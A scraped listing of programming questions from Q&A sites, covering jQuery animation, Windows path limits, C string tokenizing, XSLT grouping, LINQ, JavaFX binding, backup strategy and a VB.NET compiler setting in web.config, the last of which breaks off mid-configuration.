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  • How can i use a duration setting on .animate if it is inside the callback from a .fadeOut effect?

    - by Jannis
    I am trying to just fade the content of section#secondary out and once the content has been faded out, the parent (section#secondary) should animate 'shut' in a slider animation. All this is working however the durations are not and I cannot figure out why. Here is my code: HTML <section id="secondary"> <a href="#" class="slide_button">&laquo;</a> <!-- slide in/back button --> <article> <h1>photos</h1> <div class="album_nav"><a href="#">photo 1 of 6</a> | <a href="#">create an album</a></div> <div class="bar"> <p class="section_title">current image title</p> </div> <section class="image"> <div class="links"> <a class="_back album_link" href="#">« from the album: james new toy</a> <nav> <a href="#" class="_back small_button">back</a> <a href="#" class="_next small_button">next</a> </nav> </div> <img src="http://localhost/~jannis/3781_doggie_wonderland/www/preview/static/images/sample-image-enlarged.jpg" width="418" height="280" alt="" /> </section> </article> <footer> <embed src="http://localhost/~jannis/3781_doggie_wonderland/www/preview/static/flash/secondary-footer.swf" wmode="transparent" width="495" height="115" type="application/x-shockwave-flash" /> </footer> </section> <!-- close secondary --> jQuery // ============================= // = Close button (slide away) = // ============================= $('a.slide_button').click(function() { $(this).closest('section#secondary').children('*').fadeOut('slow', function() { $('section#secondary').animate({'width':'0'}, 3000); }); }); Because the content of section#secondary is variable I use the * selector. What happens is that the fadeOut uses the appropriate slow speed but as soon as the callback fires (once the content is faded out) the section#secondary animates to width: 0 within a couple of milliseconds and not the 3000 ms ( 3 sec ) I set the animation duration to. Any ideas would be appreciated. PS: I cannot post an example at this point but since this is more a matter of theory of jQuery I don't think an example is necessary here. Correct me if I am wrong..

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  • Should I deal with files longer than MAX_PATH?

    - by John
    Just had an interesting case. My software reported back a failure caused by a path being longer than MAX_PATH. The path was just a plain old document in My Documents, e.g.: C:\Documents and Settings\Bill\Some Stupid FOlder Name\A really ridiculously long file thats really very very very..........very long.pdf Total length 269 characters (MAX_PATH==260). The user wasn't using a external hard drive or anything like that. This was a file on an Windows managed drive. So my question is this. Should I care? I'm not saying can I deal with the long paths, I'm asking should I. Yes I'm aware of the "\?\" unicode hack on some Win32 APIs, but it seems this hack is not without risk (as it's changing the behaviour of the way the APIs parse paths) and also isn't supported by all APIs . So anyway, let me just state my position/assertions: First presumably the only way the user was able to break this limit is if the app she used uses the special Unicode hack. It's a PDF file, so maybe the PDF tool she used uses this hack. I tried to reproduce this (by using the unicode hack) and experimented. What I found was that although the file appears in Explorer, I can do nothing with it. I can't open it, I can't choose "Properties" (Windows 7). Other common apps can't open the file (e.g. IE, Firefox, Notepad). Explorer will also not let me create files/dirs which are too long - it just refuses. Ditto for command line tool cmd.exe. So basically, one could look at it this way: a rouge tool has allowed the user to create a file which is not accessible by a lot of Windows (e.g. Explorer). I could take the view that I shouldn't have to deal with this. (As an aside, this isn't an vote of approval for a short max path length: I think 260 chars is a joke, I'm just saying that if Windows shell and some APIs can't handle 260 then why should I?). So, is this a fair view? Should I say "Not my problem"? Thanks! John

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  • Structs, strtok, segmentation fault

    - by FILIaS
    I'm trying to make a programme with structs and files.The following is just a part of my code(it;s not all). What i'm trying to do is: ask the user to write his command. eg. delete John eg. enter John James 5000 ipad purchase. The problem is that I want to split the command in order to save its 'args' for a struct element. That's why i used strtok. BUT I'm facing another problem in who to 'put' these on the struct. #include <stdio.h> #include <stdlib.h> #include <string.h> #define MAX 100 char command[1500]; struct catalogue { char short_name[50]; char surname[50]; signed int amount; char description[1000]; }*catalog[MAX]; int main ( int argc, char *argv[] ) { int i,n; char choice[3]; printf(">sort1: Print savings sorted by surname\n"); printf(">sort2: Print savings sorted by amount\n"); printf(">search+name:Print savings of each name searched\n"); printf(">delete+full_name+amount: Erase saving\n"); printf(">enter+full_name+amount+description: Enter saving \n"); printf(">quit: Update + EXIT program.\n"); printf("Choose your selection:\n>"); gets(command); //it save the whole command /*in choice it;s saved only the first 2 letters(needed for menu choice again)*/ strncpy(choice,command,2); choice[2]='\0'; char** args = (char**)malloc(strlen(command)*sizeof(char*)); memset(args, 0, sizeof(char*)*strlen(command)); char* curToken = strtok(command, " \t"); for (n = 0; curToken != NULL; ++n) { args[n] = strdup(curToken); curToken = strtok(NULL, " \t"); *catalog[n]->short_name=*args[1]; *catalog[n]->surname=args[2]; catalog[n]->amount=atoi(args[3]); *catalog[n]->description=args[4]; } return 0; } I get a warning (warning: assignment makes integer from pointer without a cast) for the lines: *catalog[n]->short_name=*args[1]; *catalog[n]->surname=args[2]; *catalog[n]->description=args[4]; As a result, after running the program i get a Segmentation Fault... Any help? Any ideas?

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  • XSLT: Display unique rows of filtered XML recordset

    - by Chris G.
    I've got a recordset that I'm filtering on a particular field (i.e. Manager ="Frannklin"). Now I'd like to group the results of that filtered recordset based on another field (Client). I can't seem to get Muenchian grouping to work right. Any thoughts? TIA! CG My filter looks like this: <xsl:key name="k1" match="Row" use="@Manager"/> <xsl:param name="dvt_filterval">Frannklin</xsl:param> <xsl:variable name="Rows" select="/dsQueryResponse/Rows/Row" /> <xsl:variable name="FilteredRowsAttr" select="$Rows[normalize-space(@*[name()=$FieldNameNoAtSign])=$dvt_filterval ]" /> Templates <xsl:apply-templates select="$FilteredRowsAttr[generate-id() = generate-id(key('k1',@Manager))]" mode="g1000a"> </xsl:apply-templates> <xsl:template match="Row" mode="g1000a"> Client: <xsl:value-of select="@Client"/> </xsl:template> Results I'm getting Client: Beta Client: Beta Client: Beta Client: Gamma Client: Delta Results I want Client: Beta Client: Gamma Client: Delta Sample recordset <dsQueryResponse> <Rows> <Row Manager="Smith" Client="Alpha " Project_x0020_Name="Annapolis" PM_x0023_="00123" /> <Row Manager="Ford" Client="Alpha " Project_x0020_Name="Brown" PM_x0023_="00124" /> <Row Manager="Cronkite" Client="Beta " Project_x0020_Name="Gannon" PM_x0023_="00129" /> <Row Manager="Clinton, Bill" Client="Beta " Project_x0020_Name="Harvard" PM_x0023_="00130" /> <Row Manager="Frannklin" Client="Beta " Project_x0020_Name="Irving" PM_x0023_="00131" /> <Row Manager="Frannklin" Client="Beta " Project_x0020_Name="Jakarta" PM_x0023_="00132" /> <Row Manager="Frannklin" Client="Beta " Project_x0020_Name="Vassar" PM_x0023_="00135" /> <Row Manager="Jefferson" Client="Gamma " Project_x0020_Name="Stamford" PM_x0023_="00141" /> <Row Manager="Cronkite" Client="Gamma " Project_x0020_Name="Tufts" PM_x0023_="00142" /> <Row Manager="Frannklin" Client="Gamma " Project_x0020_Name="UCLA" PM_x0023_="00143" /> <Row Manager="Jefferson" Client="Gamma " Project_x0020_Name="Villanova" PM_x0023_="00144" /> <Row Manager="Carter" Client="Delta " Project_x0020_Name="Drexel" PM_x0023_="00150" /> <Row Manager="Clinton" Client="Delta " Project_x0020_Name="Iona" PM_x0023_="00151" /> <Row Manager="Frannklin" Client="Delta " Project_x0020_Name="Temple" PM_x0023_="00152" /> <Row Manager="Ford" Client="Epsilon " Project_x0020_Name="UNC" PM_x0023_="00157" /> <Row Manager="Clinton" Client="Epsilon " Project_x0020_Name="Berkley" PM_x0023_="00158" /> </Rows> </dsQueryResponse>

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  • Dynamic data-entry value store

    - by simendsjo
    I'm creating a data-entry application where users are allowed to create the entry schema. My first version of this just created a single table per entry schema with each entry spanning a single or multiple columns (for complex types) with the appropriate data type. This allowed for "fast" querying (on small datasets as I didn't index all columns) and simple synchronization where the data-entry was distributed on several databases. I'm not quite happy with this solution though; the only positive thing is the simplicity... I can only store a fixed number of columns. I need to create indexes on all columns. I need to recreate the table on schema changes. Some of my key design criterias are: Very fast querying (Using a simple domain specific query language) Writes doesn't have to be fast Many concurrent users Schemas will change often Schemas might contain many thousand columns The data-entries might be distributed and needs syncronization. Preferable MySQL and SQLite - Databases like DB2 and Oracle is out of the question. Using .Net/Mono I've been thinking of a couple of possible designs, but none of them seems like a good choice. Solution 1: Union like table containing a Type column and one nullable column per type. This avoids joins, but will definitly use a lot of space. Solution 2: Key/value store. All values are stored as string and converted when needed. Also use a lot of space, and of course, I hate having to convert everything to string. Solution 3: Use an xml database or store values as xml. Without any experience I would think this is quite slow (at least for the relational model unless there is some very good xpath support). I also would like to avoid an xml database as other parts of the application fits better as a relational model, and being able to join the data is helpful. I cannot help to think that someone has solved (some of) this already, but I'm unable to find anything. Not quite sure what to search for either... I know market research is doing something like this for their questionnaires, but there are few open source implementations, and the ones I've found doesn't quite fit the bill. PSPP has much of the logic I'm thinking of; primitive column types, many columns, many rows, fast querying and merging. Too bad it doesn't work against a database.. And of course... I don't need 99% of the provided functionality, but a lot of stuff not included. I'm not sure this is the right place to ask such a design related question, but I hope someone here has some tips, know of any existing work, or can point me to a better place to ask such a question. Thanks in advance!

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  • Rails: How do I unserialize from database?

    - by Macint
    Hello, I am currently trying to save information for an invoice/bill. On the invoice I want to show what the total price is made up of. The procedures & items, their price and the qty. So in the end I hope to get it to look like this: Consult [date] [total_price] Procedure_name [price] [qty] Procedure_name [price] [qty] Consult [date] [total_price] Procedure_name [price] [qty] etc... All this information is available through the database but i want to save the information as a separate copy. That way if the user changes the price of some procedures the invoice information is still correct. I thought i'd do this by serializing and save the data to a column (consult_data) in the Invoice table. My Model: class Invoice < ActiveRecord::Base ...stuff... serialize :consult_data ... end This is what I get from the form (1 consult and 3 procedures): {"commit"=>"Save draft", "authenticity_token"=>"MZ1OiOCtj/BOu73eVVkolZBWoN8Fy1skHqKgih7Sbzw=", "id"=>"113", "consults"=>[{"consult_date"=>"2010-02-20", "consult_problem"=>"ABC", "procedures"=>[{"name"=>"asdasdasd", "price"=>"2.0", "qty"=>"1"}, {"name"=>"AAAnd another one", "price"=>"45.0", "qty"=>"4"}, {"name"=>"asdasdasd", "price"=>"2.0", "qty"=>"1"}], "consult_id"=>"1"}]} My save action: def add_to_invoice @invoice = @current_practice.invoices.find_by_id(params[:id]) @invoice.consult_data=params[:consults] if @invoice.save render :text => "I think it worked" else render :text => "I don't think it worked'" end end It does save to the database and if I look at the entry in the console I can see that it is all there: consult_data: "--- \n- !map:HashWithIndifferentAccess \n consult_da..." (---The question---) But I can't seam to get back my data. I tried defining a variable to the consult_data attribute and then doing "variable.consult_problem" or "variable[:consult_problem]" (also tried looping) but it only throws no-method-errors back at me. How do I unserialize the data from the database and turn it back into hash that i can use? Thank you very much for any help!

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  • Keeping track of business rules within IT department?

    - by evaldas-alexander
    I am looking for the best way to keep track of the business rules for both developers and everybody else (support staff / management) in a startup enviroment. The challenge is that our business model requires quite a lot of different business rules, which are created pretty much on the fly and evolving organically after that. After running this project for 3+ years, we have so many of such rules that often the only way to be sure about what the application is supposed to do in a certain situation is to go find the module responsible for that process and analyze its code and comments. That is all fine as long as you have one single developer who created the entire application from the scratch, but every new developer needs to go over pretty much entire codebase in order to understand how the application works. Even bigger problem is that non technical employees don't even have that option and therefore are forced to ask me pretty much every day how some certain case would be handled by the application. Quick example - we only start charging for our customer campaigns once they have been active for at least 72 hours, but at the same time we stop creating invoices for campaigns that belong to insolvent accounts and close such accounts within a month of the first failed charge. That does not apply to accounts that are set to "non-chargeable" which most commonly belongs to us since we are using the service ourselves. The invoices are created on the 1st of each month and include charges from the previous month + any current balance that the account might have. However, some customers are charged only 4 days after their invoice has been generated due to issues with their billing department. In addition to that, invoices are also created when customer deactivates his campaign, but that can only be done once the campaign is not longer under mandatory 6 month contract, unless account manager approves early deactivation. I know, that's quite a lot of rules that need to be taken into account when answering a question "when do we bill our customers", but actually I could still append an asterisk at the end of each sentence in order to disclose some rare exceptions. Of course, it would be easiest just to keep the business rules to the minimum, but we need to adapt to changing marketplace - i.e. less than a year ago we had no contracts whatsoever. One idea that I had so far was a simplistic wiki with categories corresponding to areas such as "Account activation", "Invoicing", "Collection procedures" and so on. Another idea would be to have giant interactive flowchart showing the entire customer "life cycle" from prospecting to account deactivation. What are your experiences / suggestions?

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  • Comparing Nested object properties using C#

    - by Kumar
    I have a method which compares two objects and returns a list of all the property names which are different. public static IList<string> GetDifferingProperties(object source, object) { var sourceType = source.GetType(); var sourceProperties = sourceType.GetProperties(); var targetType = target.GetType(); var targetProperties = targetType.GetProperties(); var properties = (from s in sourceProperties from t in targetProperties where s.Name == t.Name && s.PropertyType == t.PropertyType && s.GetValue(source,null) != t.GetValue(target,null) select s.Name).ToList(); return properties; } For example if I have two classes as follows: public class Address { public string AddressLine1 { get; set; } public string AddressLine2 { get; set; } public string City { get; set; } public string State { get; set; } public string Zip { get; set; } } public class Employee { public string FirstName { get; set; } public string MiddleName { get; set; } public string LastName { get; set; } public Address EmployeeAddress { get; set; } } I am trying to compare the following two employee instances: var emp1Address = new Address(); emp1Address.AddressLine1 = "Microsoft Corporation"; emp1Address.AddressLine2 = "One Microsoft Way"; emp1Address.City = "Redmond"; emp1Address.State = "WA"; emp1Address.Zip = "98052-6399"; var emp1 = new Employee(); emp1.FirstName = "Bill"; emp1.LastName = "Gates"; emp1.EmployeeAddress = emp1Address; var emp2Address = new Address(); emp2Address.AddressLine1 = "Gates Foundation"; emp2Address.AddressLine2 = "One Microsoft Way"; emp2Address.City = "Redmond"; emp2Address.State = "WA"; emp2Address.Zip = "98052-6399"; var emp2 = new Employee(); emp2.FirstName = "Melinda"; emp2.LastName = "Gates"; emp2.EmployeeAddress = emp2Address; So when I pass these two employee objects to my GetDifferingProperties method currently it returns FirstName and EmployeeAddress, but it does not tell me which exact property (which in this case is Address1) in the EmployeeAddress has changed. How can I tweak this method to get something like EmployeeAddress.Address1?

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  • JavaFX - question regarding binding button's disabled state

    - by jamiebarrow
    I'm trying to create a dummy application that maintains a list of tasks. For now, all I'm trying to do is add to the list. I enter a task name in a text box, click on the add task button, and expect the list to be updated with the new item and the task name input to be cleared. I only want to be able to add tasks if the task name is not empty. The below code is my implementation, but I have a question regarding the binding. I'm binding the textbox's text variable to a string in my view model, and the button's disable variable to a boolean in my view model. I have a trigger to update the disabled state when the task name changes. When the binding of the task name happens the boolean is updated accordingly, but the button still appears disabled. But then when I mouse over the button, it becomes enabled. I believe this is due to JavaFX 1.3's binding being lazy - only updates the bound variable when it is read. Also, when I've added the task, I clear the task name in the model, but the textbox's text doesn't change - even though I'm using bind with inverse. Is there a way to make the textbox's text and the button's disabled state update automatically via the binding as I was expecting? Thanks, James AddTaskViewModel.fx: package jamiebarrow; import java.lang.System; public class AddTaskViewModel { function logChange(prop:String,oldValue,newValue):Void { println("{System.currentTimeMillis()} : {prop} [{oldValue}] to [{newValue}] "); } public var newTaskName: String on replace old { logChange("newTaskName",old,newTaskName); isAddTaskDisabled = (newTaskName == null or newTaskName.trim().length() == 0); }; public var isAddTaskDisabled: Boolean on replace old { logChange("isAddTaskDisabled",old,isAddTaskDisabled); }; public var taskItems = [] on replace old { logChange("taskItems",old,taskItems); }; public function addTask() { insert newTaskName into taskItems; newTaskName = ""; } } Main.fx: package jamiebarrow; import javafx.scene.control.Button; import javafx.scene.control.TextBox; import javafx.scene.control.ListView; import javafx.scene.Scene; import javafx.scene.layout.VBox; import javafx.stage.Stage; import javafx.scene.layout.HBox; def viewModel = AddTaskViewModel{}; var txtName: TextBox = TextBox { text: bind viewModel.newTaskName with inverse onKeyTyped: onKeyTyped }; function onKeyTyped(event): Void { txtName.commit(); // ensures model is updated cmdAddTask.disable = viewModel.isAddTaskDisabled;// the binding only occurs lazily, so this is needed } var cmdAddTask = Button { text: "Add" disable: bind viewModel.isAddTaskDisabled with inverse action: onAddTask }; function onAddTask(): Void { viewModel.addTask(); } var lstTasks = ListView { items: bind viewModel.taskItems with inverse }; Stage { scene: Scene { content: [ VBox { content: [ HBox { content: [ txtName, cmdAddTask ] }, lstTasks ] } ] } }

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  • Implementing a logging library in .NET with a database as the storage medium

    - by Dave
    I'm just starting to work on a logging library that everyone can use to keep track of any sort of system information while the user is running our application. The simplest example so far is to track Info, Warnings, and Errors. I want all plugins to be able to use this feature, but since each developer might have a different idea of what's important to report, I want to keep this as generic as possible. In the C++ world, I would normally use something like a stl::pair<string,string> to act as a key value pair structure, and have a stl::list of these to act as a "row" in the log. The log cache would then be a list<list<pair<string,string>>> (ugh!). This way, the developers can use a const string key like INFO, WARNING, ERROR to have a consistent naming for a column in the database (for SELECTing specific types of information). I'd like the database to be able to deal with any number of distinct column names. For example, John might have an INFO row with a column called USER, and Bill might have an INFO row with a column called FILENAME. I want the log viewer to be able to display all information, and if one report doesn't have a value for INFO / FILENAME, those fields should just appear blank. So one option is to use List<List<KeyValuePair<String,String>>, and the another is to have the log library consumer somehow "register" its schema, and then have the database do an ALTER TABLE to handle this situation. Yet another idea is to have a table that's just for key value pairs, with a foreign key that maps the key value pairs back to the original log entry. I obviously don't want logging to bog down the system, so I only lock the log cache to make a copy of the data (and remove the already-copied data), then a background thread will dump the information to the database. My specific questions regarding this are: Do you see any performance issues? In other words, have you ever tried something like this and found that certain things just don't work well in practice? Is there a more .NETish way to implement the key value pairs, other than List<List<KeyValuePair<String,String>>>? Even if there is a way to do #2 better, is the ALTER TABLE idea I proposed above a Bad Thing? Would you recommend multiple databases over a single one? I don't yet have an idea of how frequently the log would get written to, but we ideally would like to have lots of low level information. Perhaps there should be a DB with a fixed schema only for the low level stuff, and then another DB that's more flexible for reporting information back to users.

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  • Uncaught TypeError: Cannot read property 'length' of undefined

    - by AnApprentice
    I'm working to built a contact list that is grouped by the first letter of the contact's last name. After a succesfull ajax request, the contact is pushed to addContact: Ajax success: ko.utils.arrayForEach(dataJS.contactList, function(c) { contactsModel.addContact(c); }); contactsModel.addContact: //add a contact in the right spot under the right letter contactsModel.addContact = function(newContact) { //grab first character var firstLetter = (newContact.lname || "").charAt(0).toUpperCase(); //if it is a number use # if (!isNaN(firstLetter)) { firstLetter = "#"; } //do we already have entries for this letter if (!this.letterIndex[firstLetter]) { //new object to track this letter's contacts var letterContacts = { letter: firstLetter, contacts: ko.observableArray([]) }; this.letterIndex[firstLetter] = letterContacts; //easy access to it //put the numbers at the end if (firstLetter === "#") { this.contactsByLetter.push(letterContacts); } else { //add the letter in the right spot for (var i = 0, lettersLength = this.contactsByLetter().length; i < lettersLength; i++) { var letter = this.contactsByLetter()[i].letter; if (letter === "#" || firstLetter < letter) { break; } } this.contactsByLetter.splice(i, 0, letterContacts); } } var contacts = this.letterIndex[firstLetter].contacts; //now we have a letter to add our contact to, but need to add it in the right spot var newContactName = newContact.lname + " " + newContact.fname; for (var j = 0, contactsLength = contacts().length; j < contactsLength; j++) { var contactName = contacts()[j].lName + " " + contacts()[j].fName; if (newContactName < contactName) { break; } } //add the contact at the right index contacts.splice(j, 0, newContact); }.bind(contactsModel); The contacts json object from the server looks like this: { "total_pages": 10, "page": page, "contactList": [{ "photo": "http://homepage.mac.com/millhouse/Family%20Tree/images/PersonListIcon.png", "lname": "Bond", "id": 241, "fname": "James", "email": "[email protected]"}, While this works in jsfiddle, when I try it locally, I get the following error during the first push to addContact: Uncaught TypeError: Cannot read property 'length' of undefined jQuery.jQuery.extend._Deferred.deferred.resolveWithjquery-1.5.1.js:869 donejquery-1.5.1.js:6591 jQuery.ajaxTransport.send.callbackjquery-1.5.1.js:7382 Ideas? Thanks

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  • compressed archive with quick access to individual file

    - by eric.frederich
    I need to come up with a file format for new application I am writing. This file will need to hold a bunch other text files which are mostly text but can be other formats as well. Naturally, a compressed tar file seems to fit the bill. The problem is that I want to be able to retrieve some data from the file very quickly and getting just a particular file from a tar.gz file seems to take longer than it should. I am assumeing that this is because it has to decompress the entire file even though I just want one. When I have just a regular uncompressed tar file I can get that data real quick. Lets say the file I need quickly is called data.dat For example the command... tar -x data.dat -zf myfile.tar.gz ... is what takes a lot longer than I'd like. MP3 files have id3 data and jpeg files have exif data that can be read in quickly without opening the entire file. I would like my data.dat file to be available in a similar way. I was thinking that I could leave it uncompressed and seperate from the rest of the files in myfile.tar.gz I could then create a tar file of data.dat and myfile.tar.gz and then hopefully that data would be able to be retrieved faster because it is at the head of outer tar file and is uncompressed. Does this sound right?... putting a compressed tar inside of a tar file? Basically, my need is to have an archive type of file with quick access to one particular file. Tar does this just fine, but I'd also like to have that data compressed and as soon as I do that, I no longer have quick access. Are there other archive formats that will give me that quick access I need? As a side note, this application will be written in Python. If the solution calls for a re-invention of the wheel with my own binary format I am familiar with C and would have no problem writing the Python module in C. Idealy I'd just use tar, dd, cat, gzip, etc though. Thanks, ~Eric

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  • LINQ Except operator and object equality

    - by Abhijeet Patel
    Here is an interesting issue I noticed when using the Except Operator: I have list of users from which I want to exclude some users: The list of users is coming from an XML file: The code goes like this: interface IUser { int ID { get; set; } string Name { get; set; } } class User: IUser { #region IUser Members public int ID { get; set; } public string Name { get; set; } #endregion public override string ToString() { return ID + ":" +Name; } public static IEnumerable<IUser> GetMatchingUsers(IEnumerable<IUser> users) { IEnumerable<IUser> localList = new List<User> { new User{ ID=4, Name="James"}, new User{ ID=5, Name="Tom"} }.OfType<IUser>(); var matches = from u in users join lu in localList on u.ID equals lu.ID select u; return matches; } } class Program { static void Main(string[] args) { XDocument doc = XDocument.Load("Users.xml"); IEnumerable<IUser> users = doc.Element("Users").Elements("User").Select (u => new User { ID = (int)u.Attribute("id"), Name = (string)u.Attribute("name") } ).OfType<IUser>(); //still a query, objects have not been materialized var matches = User.GetMatchingUsers(users); var excludes = users.Except(matches); // excludes should contain 6 users but here it contains 8 users } } When I call User.GetMatchingUsers(users) I get 2 matches as expected. The issue is that when I call users.Except(matches) The matching users are not being excluded at all! I am expecting 6 users ut "excludes" contains all 8 users instead. Since all I'm doing in GetMatchingUsers(IEnumerable users) is taking the IEnumerable and just returning the IUsers whose ID's match( 2 IUsers in this case), my understanding is that by default "Except" will use reference equality for comparing the objects to be excluded. Is this not how "Except" behaves? What is even more interesting is that if I materialize the objects using .ToList() and then get the matching users, and call "Except", everything works as expected! Like so: IEnumerable users = doc.Element("Users").Elements("User").Select (u = new User { ID = (int)u.Attribute("id"), Name = (string)u.Attribute("name") } ).OfType().ToList(); //explicity materializing all objects by calling ToList() var matches = User.GetMatchingUsers(users); var excludes = users.Except(matches); // excludes now contains 6 users as expected I don't see why I should need to materialize objects for calling "Except" given that its defined on IEnumerable? Any suggesstions / insights would be much appreciated.

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  • How to store multiple variables from a File Input of unknown size in Java?

    - by AlphaOmegaStrife
    I'm a total beginner with my first programming assignment in Java. For our programming assignment, we will be given a .txt file of students like so: 3 345 Lisa Miller 890238 Y 2 <-(Number of classes) Mathematics MTH345 4 A Physics PHY357 3 B Bill Wilton 798324 N 2 English ENG378 3 B Philosophy PHL534 3 A Dandy Goat 746333 Y 1 History HIS101 3 A" The teacher will give us a .txt file on the day of turning it in with a list of unknown students. My problem is: I have a specific class for turning the data from the file into variables to be used for a different class in printing it to the screen. However, I do not know of a good way to get the variables from the input file for the course numbers, since that number is not predetermined. The only way I can think of to iterate over that unknown amount is using a loop, but that would just overwrite my variables every time. Also, the teacher has requested that we not use any JCL classes (I don't really know what this means.) Sorry if I have done a poor job of explaining this, but I can't think of a better way to conceptualize it. Let me know if I can clarify. Edit: public static void analyzeData() { Scanner inputStream = null; try { inputStream = new Scanner(new FileInputStream("Programming Assignment 1 Data.txt")); } catch (FileNotFoundException e) { System.out.println("File Programming Assignment 1 Data.txt could not be found or opened."); System.exit(0); } int numberOfStudents = inputStream.nextInt(); int tuitionPerHour = inputStream.nextInt(); String firstName = inputStream.next(); String lastname = inputStream.next(); String isTuitionPaid = inputStream.next(); int numberOfCourses = inputStream.nextInt(); String courseName = inputStream.next(); String courseNumber = inputStream.next(); int creditHours = inputStream.nextInt(); String grade = inputStream.next(); To show the methods I am using now, I am just using a Scanner to read from the file and for Scanner inputStream, I am using nextInt() or next() to get variables from the file. Obviously this will not work when I do not know exactly how many classes each student will have.

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  • Is it possible to use .data() as a search criteria?

    - by Andrew
    I have a pretty complex chat application going on, and there are multiple chat panes, chat entries, chat submits, etc. going on in the same window. At first I was going to do something like.... <input type="text" class="chattext" id="chattext-42"> <input type="text" class="chattext" id="chattext-93"> <input type="button" class="chatsubmit" id="chatsubmit-42"> <input type="button" class="chatsubmit" id="chatsubmit-93"> ... etc. (of course this is vastly simplified, they'd be in separate divs, separate visibilities, etc) So, when they clicked on a .chatsubmit, it would then get the id of that and find the last two characters for the chat ID. This presents some problems, as it would require rewrites if IDs changed lengths, and seems just plain inelegant to me. I then remembered the .data() facility in jQuery... I thought, maybe I could do it more like this: <input type="text" class="chattext"> ... and add a .data("id", 42) to this one <input type="button" class="chatsubmit"> ... and add a .data("id", 42) So that when they click chatsubmit, it gets the ID, and then finds the chattext with that ID and processes it. But looking at the documentation, I don't see an easy way to search by this. For example, let's say the event target in this case is the chatsubmit with the data('id') of 42... var ID = $(event.target).data('id'); // Sets it to 42 var chattext = ... And here I run into the trouble. How do I find which DOM element matches a class of chattext and a data('id') of 42? Is there any easy method, or do I have to search every .chattext for the one with an id of 42? Or is there another easy way of doing this? I did consider the possibility of the container div having the ID, which would make it, I think,? slightly easier to get. But if this works, it could be dealing with things in other container divs as well, making that not a long-term solution. Edit: Literally seconds after posting this, I found this: http://james.padolsey.com/javascript/extending-jquerys-selector-capabilities/ which includes information on extending the selector to data. So I'll try that out, and in the meantime, is this a completely foolhardy way of handling this?

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  • How to set up a centralized backup server with lots of offsite workstations, intermittent internet connectivity, and stubborn users?

    - by Zac B
    This might be an impossible question. Context: We have a bunch of computers across around 1000 users. We have a centralized office where 900 of the users work, most of the time. Most of the computers are laptops. They are very frequently coming on and off the network for hours at a time. Users often take their computers home and do lots of work from home. In addition, there are a handful of users who work elsewhere in the country, who are offline (no internet connection whatsoever) for more than half of the time they use their machines. All of the machines are Windows 7/XP. Problem: People are always losing data. One day someone accidentally deletes a bunch of files. The next day someone else installs a bad driver or tries to mess with something in system32 and needs a personal data backup/reinstall of Windows. Because of how many of our business operations are done without an internet connection, and how frequently computers come on- and offline, it's unfeasible to make users use network storage for all of their data. We tried giving them Dropboxes, and they stored their files elsewhere. We bought and deployed Altiris, and they uninstalled it and blamed us when they couldn't get files back that they accidentally deleted while they were offline and hadn't taken a backup in months. We tried teaching them backup best-practices, and using scheduled sync tools to upload things to the network drives, and they turned them off because they "looked like viruses". It doesn't help that many of these users are pretty high up in the business and are not amicable to any sort of "you need to do something regularly because we say so" solution. Question: Other than finding another job where IT is treated differently and users are willing to follow best practices, how would people recommend I implement a file backup solution that supports the following: Backs up to a centralized server over LAN or WAN whenever a network link becomes available, or on a schedule. Supports interrupted/resumed backups (and hopefully file-delta only backups), since connections to the network (WAN or LAN) are often slow and only open for half an hour or so. Supports relatively rapid, "I accidentally deleted the TPS reports! Oh no!" single-file recovery, ideally administered from the central backup server rather than the client PC. Supports local-to-local file delta backup on a schedule, so that users without a network connection for a few days can still retrieve accidental deletions or whatnot. Ideally, the local stored backups would be pushed up to the server whenever network link is available. Isn't configurable on the clients without certain credentials. Because the CFOs (who won't give up their admin rights on the domain) will disable it if they can. Backs up the entire hard drive. There are people who are self-righteous about storing things in C:\, or in the recycle bin, or in the C:\Windows dir (yes, I know). I'm fine integrating multiple products/solutions, or scripting different programs together myself (I'm a somewhat competent programmer), but I've been drawing a blank on where to start. Dropbox is folder-specific, Altiris doesn't cope with LAN outages or interrupted/resumed backups, Volume Shadow Copy is awesome for a local-to-local solution, but I don't know how to push days of stored shadow copies up to a server in a 2 hour window of network access. The company is fine with spending decent money on this, thousands (USD) on a server, and hundreds on clients, if necessary. I want to emphasize that this isn't a shopping list request. While I wish there was a program out there that did what I want, I've looked pretty hard, and not found anything that fits the bill. Instead, I'm hoping for ideas on where to start hacking things together from scratch/from different technologies to make something stable that works. Cheers!

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  • VB.NET IF() Coalesce and “Expression Expected” Error

    - by Jeff Widmer
    I am trying to use the equivalent of the C# “??” operator in some VB.NET code that I am working in. This StackOverflow article for “Is there a VB.NET equivalent for C#'s ?? operator?” explains the VB.NET IF() statement syntax which is exactly what I am looking for... and I thought I was going to be done pretty quickly and could move on. But after implementing the IF() statement in my code I started to receive this error: Compiler Error Message: BC30201: Expression expected. And no matter how I tried using the “IF()” statement, whenever I tried to visit the aspx page that I was working on I received the same error. This other StackOverflow article Using VB.NET If vs. IIf in binding/rendering expression indicated that the VB.NET IF() operator was not available until VS2008 or .NET Framework 3.5.  So I checked the Web Application project properties but it was targeting the .NET Framework 3.5: So I was still not understanding what was going on, but then I noticed the version information in the detailed compiler output of the error page: This happened to be a C# project, but with an ASPX page with inline VB.NET code (yes, it is strange to have that but that is the project I am working on).  So even though the project file was targeting the .NET Framework 3.5, the ASPX page was being compiled using the .NET Framework 2.0.  But why?  Where does this get set?  How does ASP.NET know which version of the compiler to use for the inline code? For this I turned to the web.config.  Here is the system.codedom/compilers section that was in the web.config for this project: <system.codedom>     <compilers>         <compiler language="c#;cs;csharp" extension=".cs" warningLevel="4" type="Microsoft.CSharp.CSharpCodeProvider, System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">             <providerOption name="CompilerVersion" value="v3.5" />             <providerOption name="WarnAsError" value="false" />         </compiler>     </compilers> </system.codedom> Keep in mind that this is a C# web application project file but my aspx file has inline VB.NET code.  The web.config does not have any information for how to compile for VB.NET so it defaults to .NET 2.0 (instead of 3.5 which is what I need). So the web.config needed to include the VB.NET compiler option.  Here it is with both the C# and VB.NET options (I copied the VB.NET config from a new VB.NET Web Application project file).     <system.codedom>         <compilers>             <compiler language="c#;cs;csharp" extension=".cs" warningLevel="4" type="Microsoft.CSharp.CSharpCodeProvider, System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">                 <providerOption name="CompilerVersion" value="v3.5" />                 <providerOption name="WarnAsError" value="false" />             </compiler>       <compiler language="vb;vbs;visualbasic;vbscript" extension=".vb" warningLevel="4" type="Microsoft.VisualBasic.VBCodeProvider, System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">         <providerOption name="CompilerVersion" value="v3.5"/>         <providerOption name="OptionInfer" value="true"/>         